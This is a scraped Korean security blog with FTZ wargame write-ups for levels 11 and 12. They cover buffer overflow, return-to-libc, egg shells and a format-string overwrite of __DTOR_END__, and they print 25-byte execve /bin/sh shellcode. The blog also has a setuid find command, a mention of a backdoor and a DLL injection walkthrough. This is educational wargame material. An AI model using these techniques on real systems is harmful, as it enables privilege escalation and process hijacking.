no image
FTZ Level12 //BOF,RTL,EGG,Backdoor
문제확인이번 문제도 level11과 비슷한 문제로 풀 수가 있다. 일단 tmp로 파일을 복사하여 디버깅을 해보자. 이전 문제와 같이 0x108 만큼의 버퍼를 채우고 RET에 새로운 주소값을 채우면 된다. EGG Shell을 이용한 방법Egg쉘을 이용한 방법의 경우 아래와 같이 쉽다.Shell Code = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"getaddr.c #include main(){char *p=getenv("EGG");printf("Address : %p\n",p);} RTL ( Return to Libc)을 이용한 방법RTL은 리턴 주소를 공유 라이브러..
2015.05.10
no image
FTZ Level11 //BOF,EGG,Format String
문제 확인 나중에 디버깅을 하는데 있어서 권한이 없으므로 cp 명령어를 통하여 tmp 폴더로 복사를 하여 분석을 한다.Disas을 통하여 보았을때 Dummy 8바이트가 추가로 붙은 것을 확인 할 수가 있으며, 스텍을 그림으로 나타내면 아래와 같은 모양이 된다. Buffer Over Flow를 통한 풀이 *RET에 넣을 주소를 구하여보자. 아래의 코드에서 25Byte의 Shell Code는 B로 대입을 하고 A는 NOP, C에는 나중에 넣을 RET의 크기 만큼 대입을 하여 x/256x $ESP를 통하여 RET에 넣을 주소를 구하는 과정이다. 여기에서 주의해야 할 사항으로는 ` , ' , " 의 사용에 유의하여야 한다는 것이다.여기서 우리는 0xbffffadc의 주소를 RET로 사용 할 것이다. 그리고 공격..
2015.05.09
#25 Bytes Shell Code
#25 Bytes Shell Code"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
2015.05.07
getaddr.c
2015.05.06
EggShell.c
2015.05.06
Find 명령어
Linux - Find Command Us @Usage$ find [찾고자 하는 디렉토리] [옵션] @옵션-name [파일이름] : 파일이름과 일치 파일명 또는 확장자를 기준으로 검색-perm [권한] : 권한과 일치하는 파일 //$ find / -perm +6000 2>/dev/null-user [유저] : 유저 검색(해당 파일을 사용하는 유저)-group [그룹] : 그룹과 일치하는 파일-empty : 비어있는 파일이나 디렉토리를 검색 -size [+파일크기/-파일크기/파일크기][bckw중 택1] : 파일크기와 일치하는 파일 b : 블록단위 512kb c : byte k : kbyte w : 2byte 워드아무런 단위를 붙이지 않은 경우 : 디폴트 값 b예: find / -size 2700c 2>/d..
2015.04.29
Code Injection by Python
2015.03.26
no image
DLL Injection API by Python
DLL Injection API Python Source Code 프로세스의 핸들을 구하기hProc = kernel32.OpenProcess(DesireAddress,InheritHandle,ProcessId) 권한 설정 : PROCESS_ALL_ACCESS = 0x1F0FFF 상속 여부 : True = 상속, False = 비상속으로 비상속을 선택. PID : Process ID 해당 프로세스에 가상의 메모리를 할당Virtual_addr = kernel32.VirtualAllocEx(hProcess,Address,Size,AllocationType,Protect Process Handle : -> hProc 위치 지정 : NULL의 경우 따로 원하는 주소를 설정하지 않음 (None) 할당할 위치의 크기..
2015.03.25

문제확인


이번 문제도 level11과 비슷한 문제로 풀 수가 있다. 일단 tmp로 파일을 복사하여 디버깅을 해보자.


이전 문제와 같이 0x108 만큼의 버퍼를 채우고 RET에 새로운 주소값을 채우면 된다.




EGG Shell을 이용한 방법


Egg쉘을 이용한 방법의 경우 아래와 같이 쉽다.

Shell Code = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"

getaddr.c

#include <stdio.h>

main(){

char *p=getenv("EGG");

printf("Address : %p\n",p);}




RTL ( Return to Libc)을 이용한 방법


RTL은 리턴 주소를 공유 라이브러리 함수의 주소로 적어 해당 함수를 실행시키는 방법이다. 스택의 구조에서 system()함수를 ret에 덮어 씀으로 인하여 프로세스가 종료되고 리턴할 때 system()함수로 가게 된다. 그리고 system()함수가 끝나게 되면 그 다음 4바이트가 리턴주소이기 떄문에 정상적으로 종료될 수 있게 하기 위하여 exit()를 붙여준다.

system()는 쉘을 실행할수가 있고 인자로 /bin/sh를 넣어주면 된다.

결국 ----str[256]-dummy[8]-SFP[4]-RET[4]    >>> ---A[256]-A[8]-A[4]-System()[4]-exit()[4]-"/bin/sh"[4]로 덮어준다고 볼 수 있다.

아래에는 system() 의 안에 있는 /bin/sh 문자열의 주소를 구하는 코드이다.




Cat을 붙이는 이유


Pipe( | ) 사용시 왼쪽 프로그램의 stdout이 오른쪽 프로그램의 stdin으로 들어가게 되는데 python 이 실행되고 종료되면서 pipe broken 오류로 인하여 종료가 일어난다 따라서 사용자의 입력을 출력해주는 cat이나 te를 이용하여 stdin을 유지 시켜야한다.

<분명히 캡쳐를 한 것인데, 출처를 잊어버렸..>


BackDoor 생성


위의 방법들을 통하여 쉘을 얻은 후에 추가적으로 입력을 해주면 아래와 같이 Backdoor를 생성 할 수가 있다.


참고

http://smleenull.tistory.com/276          //RTL

http://peonix120.tistory.com/3            //RTL


'Hacking > System Hacking' 카테고리의 다른 글

FTZ Level15 //Hard Coding, EGG  (2) 2015.05.21
FTZ Level14 //Distance  (0) 2015.05.17
FTZ Level13 //RTL, EGG  (0) 2015.05.13
FTZ Level11 //BOF,EGG,Format String  (0) 2015.05.09
#25 Bytes Shell Code  (0) 2015.05.07

문제 확인



나중에 디버깅을 하는데 있어서 권한이 없으므로 cp 명령어를 통하여 tmp 폴더로 복사를 하여 분석을 한다.

Disas을 통하여 보았을때 Dummy 8바이트가 추가로 붙은 것을 확인 할 수가 있으며, 스텍을 그림으로 나타내면 아래와 같은 모양이 된다.



Buffer Over Flow를 통한 풀이



*RET에 넣을 주소를 구하여보자. 아래의 코드에서 25Byte의 Shell Code는 B로 대입을 하고 A는 NOP, C에는 나중에 넣을 RET의 크기 만큼 대입을 하여 x/256x $ESP를 통하여 RET에 넣을 주소를 구하는 과정이다. 여기에서 주의해야 할 사항으로는 ` , ' , " 의 사용에 유의하여야 한다는 것이다.

여기서 우리는 0xbffffadc의 주소를 RET로 사용 할 것이다. 그리고 공격에 쓰일 25Byte의 쉘코드는 인터넷을 통하여 쉽게 구할 수가 있다.

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"

*여기서 유의 해야할 사항으로는 `,',"을 헷갈리지 않고 사용하는 것과 \x90이 \xc2로 치환될 경우가 있는 UTF-8을 대신하여 en_US를 사용하여야 한다. 이를 위해서는 콘솔에 다음과 같이 입력을 하여야한다. "export LANG=en_US "




환경 변수를 이용한 풀이


이번에는 환경변수를 이용한 풀이를 하여보자. 우선 환경변수를 등록하여 준다.그 후 아래와 같이 하면 된다.



Format String Attack


포멧스트링에서 가장 대표적으로 언급되는 중요한 호출 시점이란 main() 함수의 소멸자이다. 소멸자란 main()함수가 종료되는 시점에 소멸자가 호출된다고 볼수 있는데, 이러한 소멸자 역할을 수행하는 함수를 셸코드로 흐름을 바꿀수 있다면 셸이 떨어진다는 의미이다. nm 명령어를 통하여 함수의 소멸자를 찾아보자.

여기서 중요한 소멸자 함수는 바로 0x08049610에 위치하여 있는 __DTOR_END__ 함수이다. 이제 공격에 앞서 위의 방법과 같이 환경변수를 등록하여 주고 이제 이 값의 위치를 셸코드가 들어 있는 환경변수의 위치로 바꾸어주면 된다.

우리가 공격해야 할 주소는 소멸자가 있는 __DTOR_END__(0x08049610) 이고 덮어써야할 셸 코드 주소는 0xbffffc69이다. 여기서 마지막에 있는 명령어에 대하여 설명을 하자면, 우선 __DTOR_END__의 주소와 Half Word(2Byte) 뒤의 주소를 두번씩 입력하고 있다. 이렇게 하면 char str[256] 배열에 이 주소값이 들어 갈 것이다.

그리고 %8x%8x%8x%64577c%n%50070c%n :  %8x 지정자를 이용해 8바이트 단위의 출력 포멧을 만들면서 포인터를 3자리 앞으로 옮겼다. 즉 %8x 지정자 3개로 인해 포인터가 str 배열 바로 앞으로 이동한다. 그리고 %c 지정자때문에 포인터가 한번 더 이동해서 str배열을 가리키게 된다.

여기서 64577의 값은 "0xFC69"를 10진수로 변환한 후에 다른 입력된 값(40byte)를 빼주는 것이다. 그래야 앞의 40Byte와 더해져서 0xFC69가 스트링에 입력이 될 수 있기 떄문이다. 그리고 50070은 0xBFFF를 입력하기 위한 값으로 0x1BFFF-0xFC69를 빼준 값이다.







'Hacking > System Hacking' 카테고리의 다른 글

FTZ Level15 //Hard Coding, EGG  (2) 2015.05.21
FTZ Level14 //Distance  (0) 2015.05.17
FTZ Level13 //RTL, EGG  (0) 2015.05.13
FTZ Level12 //BOF,RTL,EGG,Backdoor  (0) 2015.05.10
#25 Bytes Shell Code  (0) 2015.05.07

#25 Bytes Shell Code


"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69

\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"

'Hacking > System Hacking' 카테고리의 다른 글

FTZ Level15 //Hard Coding, EGG  (2) 2015.05.21
FTZ Level14 //Distance  (0) 2015.05.17
FTZ Level13 //RTL, EGG  (0) 2015.05.13
FTZ Level12 //BOF,RTL,EGG,Backdoor  (0) 2015.05.10
FTZ Level11 //BOF,EGG,Format String  (0) 2015.05.09

getaddr.c

Kail-KM
|2015. 5. 6. 21:28



'Programming > C' 카테고리의 다른 글

C 언어 정리  (0) 2015.08.16
VisualSstudio 2013 Error : Class not registered. Looking for object with CLSID: {3B6A8A95-60A9-4EFC-AB17-DD892979B105}  (0) 2015.07.17
EggShell.c  (0) 2015.05.06
MsgBox.dll  (1) 2015.03.22
Make Simple AutoRun  (0) 2015.02.26

EggShell.c

Kail-KM
|2015. 5. 6. 10:29



'Programming > C' 카테고리의 다른 글

VisualSstudio 2013 Error : Class not registered. Looking for object with CLSID: {3B6A8A95-60A9-4EFC-AB17-DD892979B105}  (0) 2015.07.17
getaddr.c  (0) 2015.05.06
MsgBox.dll  (1) 2015.03.22
Make Simple AutoRun  (0) 2015.02.26
Make Simple Bat File  (0) 2015.02.26

Find 명령어

Kail-KM
|2015. 4. 29. 10:30

Linux - Find Command Us



@Usage

$ find [찾고자 하는 디렉토리] [옵션]


@옵션

-name [파일이름]   :  파일이름과 일치 파일명 또는 확장자를 기준으로 검색

-perm [권한]  :  권한과 일치하는 파일    //$ find / -perm +6000 2>/dev/null

-user [유저]  :  유저 검색(해당 파일을 사용하는 유저)

-group [그룹] :  그룹과 일치하는 파일

-empty : 비어있는 파일이나 디렉토리를 검색


-size [+파일크기/-파일크기/파일크기][bckw중 택1] : 파일크기와 일치하는 파일

  b : 블록단위 512kb    c : byte       k : kbyte     w : 2byte 워드

아무런 단위를 붙이지 않은 경우 : 디폴트 값 b

예: find / -size 2700c 2>/dev/null


-type [파일타입] : 파일의 타입을 지정하여 검색

  b : 블록 특수 파일(block device)    c : 캐릭터 특수 파일 (character deice)

  d : 디렉토리(directory)    f : 일반파일(file)

  l : 심볼릭 링크(link)    p : 파이프 (pipe)     s : 소켓 (socket)


-print : 찾은 파일들을 표준출력(stdout)으로 출력(기본값)

-nouser : 소유자가 없는 파일을 검색(/etc/passwd 파일에 없는 사용자의 소유자로 되어 있는 파일을 검색)

-nogroup : /etc/groups파일에 없는 그룹의 소유인 파일을 검색

-fprint [임의파일명] : 검색된 파일을 `임의파일명'으로 출력(`임의파일명'이 존재 하지 않을 경우에는 새로 생성되고, 존재할 경우에는 기존의 파일은 없어짐)


-exec command {} \; : 파일이 검색되었을 경우, 검색된 파일들에 대해 특정 명령을 수행 할 때 사용

 {} : 검색된 파일들을 의미, 여러개의 파일이 검색되면 하나씩 치환되면서 해당명령이 실행

  ; : 검색된 결과가 여러개인 경우 하나의 행에 여러 명령을 사용하기 위함

  \ : ;이 특수 문자이기 때문에 문자로 ;라는 것을 알려 주기 위함


-newer file1 file2: `file1' 보다 이후에 `file2' 보다는 이전에 생성되거나 변형된 파일들을 찾을 경우에 사용

-cnewer 파일명 : '파일명' 부분에 적어준 파일보다 더 최근에 수정된 파일들을 검색


-atime +n/-n/n : (accessed time) 최근 n일 이전에 액세스된 파일을 검색

   +n : n일 또는 n일 이전에 액세스된 파일

   -n : 오늘 부터 n일 전 사이에 액세스 된 파일

    n : 정확히 n일 전에 액세스된 파일


-ctime +n/-n/n : (changed time) ctime은 파일의 퍼미션을 마지막으로 변경시킨 날짜를 의미한다. 

   +n : n일 또는 n일 이전에 퍼미션이 변경된 파일

   -n : 오늘 부터 n일 전 사이에 퍼미션이 변경된 파일

    n :  정확히 n일 전에 퍼미션이 변경된 파일


-mtime +n/-n/n : mtime은 파일내의 data를 마지막으로 변경한 날짜를 의미한다.(modified time)

    +n : n일 또는 n일 이전에 수정된 파일

    -n : 오늘 부터 n일 전 사이에 수정된 파일

      n : 정확히 n일 전에 수정된 파일


-maxdepth n : 0이 아닌 정수값으로 경로 깊이를 지정하여 검색을 할 경우에 사용 

-follow : 심볼릭 링크된 디렉토리도 검색을 할 경우에 사용

-regex : 정규표현식(regular expression)을 이용하여 파일들을 찾을 경우에 사용



'O / S > Linux' 카테고리의 다른 글

Shell 기본 사용법  (0) 2015.08.16
Kali Linux 2.0 Adob Flash Install  (0) 2015.08.14
kali linux 2.0 한글  (0) 2015.08.14
Ubuntu Alt_R 한글 변환 설정  (0) 2015.07.09
Kali linux - Atom Error  (0) 2015.07.08

'Programming > Python' 카테고리의 다른 글

Socket_server.py  (0) 2015.05.28
Socket_client.py  (0) 2015.05.28
DLL Injection API by Python  (0) 2015.03.25
if f=open('test.txt','r') == True: ||if not f=open('test.txt','r'): 은 안된다.  (0) 2015.03.05
Key_logger.py in GitHub  (0) 2015.03.05

DLL Injection API



Python Source Code




프로세스의 핸들을 구하기


hProc = kernel32.OpenProcess(<1>DesireAddress,<2>InheritHandle,<3>ProcessId)

<1> 권한 설정 : PROCESS_ALL_ACCESS = 0x1F0FFF

<2> 상속 여부 : True = 상속, False = 비상속으로 비상속을 선택.

<3> PID : Process ID



해당 프로세스에 가상의 메모리를 할당


Virtual_addr = kernel32.VirtualAllocEx(<1>hProcess,<2>Address,

<3>Size,<4>AllocationType,<5>Protect

<1> Process Handle : -> hProc

<2> 위치 지정 : NULL의 경우 따로 원하는 주소를 설정하지 않음 (None)

<3> 할당할 위치의 크기로 len(dll_file)

<4> 할당 유형 : Commit(0x1000) or Commit&Reserve(0x3000)

<5> 보호(권한) : ReadWrite = 0x04

 



해당 메모리의 위치에 DLL 파일을 기록


kernel32.WriteProcessMemory(<1>hProcess,<2>BaseAddress,<3>Buffer,<4>Size,<5>NumberOfByteWritten)

<1> hProc

<2> Virtual_addr : 지정 프로세스에 데이터가 기록될 주소

<3> 기록될 내용 : dll_file

<4> 크기 : len(dlll_file)

<5> 지정된 프로세스로 전송 된 바이트의 수를받는 변수의 포인터로 NULL > Ignored (NULL)




LoadLibraryA 함수의 위치를 구한다(상대프로세서가 아니라 자신에게서 구함,위치가 같기에)


hmod = kernel32.GetModuleHandleA(<1>ModuleName)

<1> kernel32

load_addr = kernel32.GetProcAddress(<1>hModule,<2>ProcName)

<1> hmod

<2> ‘LoadLibraryA’

 


원격 스레드를 생성


Kernel32.CreateRemoteThread(<1>hProc,<2>ThreadAttributes,<3>StackSize,<4>StartAddress,<5>Parameter,<6>CreationFlags,<7>ThreadId)

<1> hProc

<2> Security Attributes : NULL의 경우 Default로 설정이 된다.

<3> 0으로 설정 할경우 Default로 설정

<4> 스레드에 의해 실행될 함수의 주소 load_addr

<5> 변수에 전달될 스레드함수 > virtual_addr

<6> 스레드 생성 제어 플러그로 ‘0’의 경우 스레드 생성된 즉시 실행

<7> NULL의 경우 리턴값이 없다. ( NULL )


DLL_Injector.exe






'Programming > Python' 카테고리의 다른 글

Socket_client.py  (0) 2015.05.28
Code Injection by Python  (1) 2015.03.26
if f=open('test.txt','r') == True: ||if not f=open('test.txt','r'): 은 안된다.  (0) 2015.03.05
Key_logger.py in GitHub  (0) 2015.03.05
Del_file.py in GitHub  (0) 2015.03.02